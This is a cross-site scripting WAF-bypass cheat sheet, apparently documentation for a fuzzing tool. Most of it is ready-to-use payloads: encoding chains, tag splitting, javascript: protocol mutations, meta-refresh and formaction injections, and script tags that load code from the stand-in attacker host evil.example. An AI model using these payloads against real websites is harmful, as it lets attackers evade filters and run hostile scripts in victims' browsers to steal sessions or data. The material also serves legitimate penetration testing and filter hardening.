WAF Bypass Cheat Sheet
Recon workflow
- Send canary payloads:
<,>,',",(,),alert,script - Note what is stripped, encoded, or blocked
- Add blocked tokens to the filter profile
- Check WAF fingerprint hints (Cloudflare, ModSecurity, Akamai, AWS, Imperva)
Encoding chains
- URL → double URL → HTML entities
- Mixed per-character encoding
- Unicode / hex escapes inside attributes
- Base64 in
eval(atob(...))DOM flows
Parser / syntax tricks
- Tag splitting:
<scr<script>ipt> - Non-alpha separators:
<img/xss src=x onerror=alert(1)>— use non-alpha-tag mutation - Multiline attributes:
<img\nsrc=x\nonerror=alert(1)> javascript:with HTML entities inhref:javascript:alert(1)- SVG
foreignObject,animate,set(vendor-specific) - Extraneous bracket:
<<SCRIPT>alert(1);//\<</SCRIPT> - Script src without closing bracket:
<SCRIPT SRC=https://evil.example/?<B>
javascript: protocol mutations
When WAFs block the literal string javascript::
| Mutation | Result |
|---|---|
js-ctrl-chars | jav	ascript: (tab entity mid-word) |
comment-split-protocol | javas<!---->cript: |
| HTML entity in href | javascript:alert(1) |
| Case variation | JaVaScRiPt: |
META refresh injection
<meta> tags are often overlooked by pattern-matching WAFs:
<!-- Basic javascript: URL -->
<meta http-equiv="refresh" content="0;url=javascript:alert(1)" />
<!-- Base64 payload (avoids keyword scanning) -->
<meta
http-equiv="refresh"
content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
/>
<!-- Parser confusion via double URL param -->
<meta http-equiv="refresh" content="0; URL=http://;URL=javascript:alert(1)" />
formaction attribute bypass
formaction on <button> and <input type=submit> bypasses WAFs that only block href / action:
<form><button formaction="javascript:alert(1)">click</button></form>
<form>
<input formaction="javascript:alert(1)" type="submit" value="click" />
</form>
Script tag quote / parser tricks
<!-- Attribute quote confusion -->
<script a=">" src="https://evil.example/x.js"></script>
<!-- Non-alpha separator -->
<SCRIPT/XSS SRC="https://evil.example/x.js"></SCRIPT>
<!-- Protocol-relative URL -->
<SCRIPT SRC=//evil.example/.j>
Mutation ideas
- Case variation:
JaVaScRiPt: - Comment insertion inside tags
- Null-byte (legacy parsers)
- Keyword split:
al\u0065rt/ string concat - Built-in mutations:
js-ctrl-chars,comment-split-protocol,non-alpha-tag
Run the fuzzer after setting a filter profile to rank variants.